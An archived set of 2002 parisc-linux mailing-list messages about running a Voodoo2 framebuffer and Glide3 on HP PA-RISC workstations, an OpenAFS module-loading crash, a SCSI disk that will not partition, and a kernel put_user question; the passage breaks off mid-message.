X-Trace: ger.gmane.org 1416621689 13369 80.91.229.3 (22 Nov 2014 02:01:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:29 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  5 15:50:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx12.cluster1.charter.net (dc-mx12.cluster1.charter.net [209.225.8.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89C24482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Sep 2002 15:50:03 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx12.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 81935555; Thu, 05 Sep 2002 17:48:39 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16036

I have gotten my C200 back online and started some preliminary
work with the Voodoo2 PCI card. I currently have it plugged into
one of the 5V/32bit slots which may or may not be optimal.

Anyways,

1. Linux Kernel 2.4.19-pa2 sstfb Voodoo1/2 framebuffer

  Well, the kernel compiled with the sstfb without
  any errors. When I booted I got a black and white
  checkerboard pattern on the Voodoo2 monitor. I had
  disabled the stifb console, thinking that the kernel
  might pick the sstfb for a console, but it didn't.
  Just blankness for a while, then a checkerboard
  pattern.

  I think this is encouraging and I think it is working.
  I'm currently recompiling and will post some more news
  later as I experiment some more with it. Next I will
  try and put a console on the sstfb or even try running
  X on it.


2. glide3-alpha-0.cvs.20010711

  This is the Debian source for Glide3 on the Alpha arch,
  which is also big-endian. Initial compilation failed in
  multiple places about missing sys/io.h which I have
  located a file of that name in /usr/include/asm. I'll
  see if I can figure out how best to correct this and try
  again.


Cheers!
- Doug




From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C200 Voodoo2 Progress Report
Date: Thu, 5 Sep 2002 14:58:17 -0700 (PDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <20020905215817.13651.qmail@web12505.mail.yahoo.com>
References: <3D77D183.2080905@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621689 13372 80.91.229.3 (22 Nov 2014 02:01:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:29 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  5 15:58:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id DCCC3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Sep 2002 15:58:18 -0600 (MDT)
Original-Received: from [156.153.255.126] by web12505.mail.yahoo.com via HTTP; Thu, 05 Sep 2002 14:58:17 PDT
In-Reply-To: <3D77D183.2080905@charter.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16037

And I'm just happy that I got X/KDE to work on the built in graphics
card on my C180...finally.  Keep it up since I have a Voodoo2 available
to try on my C180 if you're successful.

derek

--- "B. Douglas Hilton" <bdhilton@charter.net> wrote:
> I have gotten my C200 back online and started some preliminary
> work with the Voodoo2 PCI card. I currently have it plugged into
> one of the 5V/32bit slots which may or may not be optimal.
> 
> Anyways,
> 
> 1. Linux Kernel 2.4.19-pa2 sstfb Voodoo1/2 framebuffer
> 
>   Well, the kernel compiled with the sstfb without
>   any errors. When I booted I got a black and white
>   checkerboard pattern on the Voodoo2 monitor. I had
>   disabled the stifb console, thinking that the kernel
>   might pick the sstfb for a console, but it didn't.
>   Just blankness for a while, then a checkerboard
>   pattern.
> 
>   I think this is encouraging and I think it is working.
>   I'm currently recompiling and will post some more news
>   later as I experiment some more with it. Next I will
>   try and put a console on the sstfb or even try running
>   X on it.
> 
> 
> 2. glide3-alpha-0.cvs.20010711
> 
>   This is the Debian source for Glide3 on the Alpha arch,
>   which is also big-endian. Initial compilation failed in
>   multiple places about missing sys/io.h which I have
>   located a file of that name in /usr/include/asm. I'll
>   see if I can figure out how best to correct this and try
>   again.
> 
> 
> Cheers!
> - Doug
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] C200 Voodoo2 Progress Report
Date: Fri, 6 Sep 2002 01:15:30 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <004f01c25532$221c4900$7cf98450@PLUTO>
References: <3D77D183.2080905@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621690 13377 80.91.229.3 (22 Nov 2014 02:01:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:30 +0000 (UTC)
To: "'palinux'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  5 17:15:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76497482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Sep 2002 17:15:28 -0600 (MDT)
Original-Received: from [195.20.224.220] (helo=mrvdomng1.kundenserver.de)
	by moutvdomng1.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17n5qQ-0008QF-00
	for parisc-linux@lists.parisc-linux.org; Fri, 06 Sep 2002 01:15:26 +0200
Original-Received: from [80.132.245.81] (helo=PLUTO)
	by mrvdomng1.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17n5qP-0003MM-00
	for parisc-linux@lists.parisc-linux.org; Fri, 06 Sep 2002 01:15:25 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <3D77D183.2080905@charter.net>
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16038

Doug,

thanks very much for the report! Looking forward to trying this myself.

> Next I will try and put a console on 
> the sstfb or even try running X on it.

X via frame buffer would be great, I'll be happy
to work without glide.

Cheers,
Tobias



From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C200 Voodoo2 Progress Report
Date: Fri, 6 Sep 2002 03:46:56 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020906034656.A26580__36298.3989100487$1416621690$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3D77D183.2080905@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621690 13388 80.91.229.3 (22 Nov 2014 02:01:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:30 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  5 20:46:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41037482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Sep 2002 20:46:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17n996-0003An-00; Fri, 06 Sep 2002 03:46:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D77D183.2080905@charter.net>; from bdhilton@charter.net on Thu, Sep 05, 2002 at 05:49:55PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16039

On Thu, Sep 05, 2002 at 05:49:55PM -0400, B. Douglas Hilton wrote:
>   This is the Debian source for Glide3 on the Alpha arch,
>   which is also big-endian. Initial compilation failed in

nope.  alpha is little-endian.

LE: alpha, arm, cris, i386, ia64, superh
BE: m68k, mips, parisc, ppc, s390, sparc

(yes, i know many of these CPUs are bi-endian, but these are the default
configs)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] status of parisc_linux24 openafs port
Date: Fri, 6 Sep 2002 08:44:17 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <34D7FB33F420654EB583492E10C8AA0709DDA7__38517.4879142598$1416621690$gmane$org@umr-mail6.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621690 13395 80.91.229.3 (22 Nov 2014 02:01:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:30 +0000 (UTC)
Cc: "palinux" <parisc-linux@lists.parisc-linux.org>
To: <openafs-devel@openafs.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 07:44:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DE3E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 07:44:28 -0600 (MDT)
Original-Received: from umr-mail6.umr.edu (umr-mail6.umr.edu [131.151.1.149]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id g86DiHGs018076; Fri, 6 Sep 2002 08:44:17 -0500
Content-Class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: status of parisc_linux24 openafs port
Thread-Index: AcJVq34HAVqiw8DwEda/PgBQVgAgFQ==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16040

Current status of the parisc_linux24 port:

A couple of patches are sitting in RT waiting to be applied to fix up
the user space LWP build for this platform. Once those are applied,
almost all of the user space tools build cleanly. (I have not tested
them, but I'd expect the file/vol/pt servers to work.) The other user
space tools I have tested all work great.=20

The kernel module builds cleanly, however, there seems to be a problem
with linking the module on palinux.=20

For testing, I've ifdef'd out anything in osi_module.c and afs_osi.c
that actually does anything, so that afs_init at this point is limited
to simply calling osi_Init(), which in turn does nothing.=20

If I hand link a module containing only afs_osi.o and osi_module.o, I am
able to load/unload it without any trouble at all. However, as soon as I
link in all the other .o files (which should have no other effect beyond
increasing the size of the module and adding a pile of code that will
never be called), insmod segv's on module load somewhere in the
branch/call to osi_Init(). So obviously there is some problem with what
is generated by the linker that is causing it to flip out.

Only other possibility would be that there is a conflict with the name
of another routine in the .o's that is overlapping a critical
module-initialization function used by parisc_linux24, and not by other
linux platforms...=20

Any ideas?

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Formatting Scsi disks
Date: Fri, 6 Sep 2002 08:44:29 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <005201c255ab$a3bf7f80$02c1a8c0@james.co.uk>
References: <20020902234752.GA6718@systemhalted>
Reply-To: "James S" <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621691 13403 80.91.229.3 (22 Nov 2014 02:01:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 07:45:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BE144847
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 07:45:25 -0600 (MDT)
Original-Received: from kenny ([65.199.70.249])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with SMTP id g86DjHHM025559
	for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Sep 2002 08:45:19 -0500
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16041

I had an odd thing happen.....

i took a disk out of a 712 & had it in a mac for a while
when i put it back into the 712, & tried to put linux back on it, it got as
far as fdisk which then said that it couldnt write a partition table to it

the disk still works in the mac - am i missing something daft here ?

the search command from the boot console on the 712 sees the disk
the kernel sees & correctly identifies the disk

just wont partition it


any ideas?

James S





From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] Formatting Scsi disks
Date: Fri, 06 Sep 2002 16:00:22 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <sd78d3a1.013@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621691 13411 80.91.229.3 (22 Nov 2014 02:01:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:31 +0000 (UTC)
To: <smithjames@comcast.net>, <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 08:15:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0230F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 08:15:37 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id QAA12954 for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Sep 2002 16:15:36 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma012162; Fri, 6 Sep 02 16:13:47 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Fri, 06 Sep 2002 16:11:13 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16042

>I had an odd thing happen.....
>
>i took a disk out of a 712 & had it in a mac for a while
>when i put it back into the 712, & tried to put linux back on it, it got =
as
>far as fdisk which then said that it couldnt write a partition table to =
it
>
>the disk still works in the mac - am i missing something daft here ?
>
>the search command from the boot console on the 712 sees the disk
>the kernel sees & correctly identifies the disk
>
>just wont partition it
>
>
>any ideas?
>
try zeroing out the first few blocks:

dd if=3D/dev/zero of=3D/dev/offending_scsi_drive bs=3D512 count=3D4

(think if you need a backup before you do this!)

Good luck,
Jurriaan





From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] upgrade evms-1.1.0 -> Kernel bug at blkpg.c (need help)
Date: Fri, 6 Sep 2002 20:15:38 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3D53B3B70000C9E8@ocpmta1.be.tiscali.com>
References: <3D53B3B70000BC9B@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621691 13420 80.91.229.3 (22 Nov 2014 02:01:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:31 +0000 (UTC)
Cc: willy@debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 12:15:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FC25482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 12:15:41 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 6 Sep 2002 20:15:38 +0200
In-Reply-To: <3D53B3B70000BC9B@ocpmta1.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16043

Hi all,


>in put_user, case 8 uses something like as:
>__put_user_asm("stw",(unsigned int)(x >> 32), (unsigned int) ptr);__put_user_asm("stw",(unsigned
>int) x, (unsigned int) (ptr+1) );
>

Well it is the contrary.

But I am a bit confuse of what do this __put_user_asm:
what does it return? (error code or ptr or something else?)

Thanks in advance for help;
    Joel


Big Brother Anders  - With Tiscali you will see it all !  Check it up on
 www.tiscali.be/bigbrother




From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C200 Voodoo2 Progress Report
Date: Fri, 06 Sep 2002 20:09:21 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <3D7943B1.3050406__6924.62773663482$1416621692$gmane$org@charter.net>
References: <3D77D183.2080905@charter.net> <20020906034656.A26580@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621692 13496 80.91.229.3 (22 Nov 2014 02:01:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:32 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 18:09:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx12.cluster1.charter.net (dc-mx12.cluster1.charter.net [209.225.8.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56563482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 18:09:50 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx12.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 83672168; Fri, 06 Sep 2002 20:08:24 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16044

Hrrmm... things aren't quite so easy as I first thought.
For one, the Voodoo2 is a 5V PCI card so it will not fit
into the Cujo slots, only Dino.

Likewise, glide3-alpha wants to use <sys/io.h> which just
isn't there on hppa because that file is particular to
alpha and x86 archs as I understand it. I tried hacking
it to use <asm/io.h> instead which caused a cascade of
about a hundred errors when it got to that point. So
glide3-alpha needs some looking at.

On the kernel front, I can build the sstfb module allright,
which it must be made as a module or else an invisible
HPMC apparently occurs. I know this because after it switches
to fb console mode, nothing more is seen and hitting the
power button causes instant power-off rather than the normal
graceful shutdown.

When I "modprobe sstfb" it appears to load, except it is
reporting that my 12Mb card only has 2Mb. The fbset program
does not segfault, but complains about "Obsolete Major on
/dev/fb1". The con2fb util doesn't report any errors but
neither does it seem to do anything, and finally, a subsequent
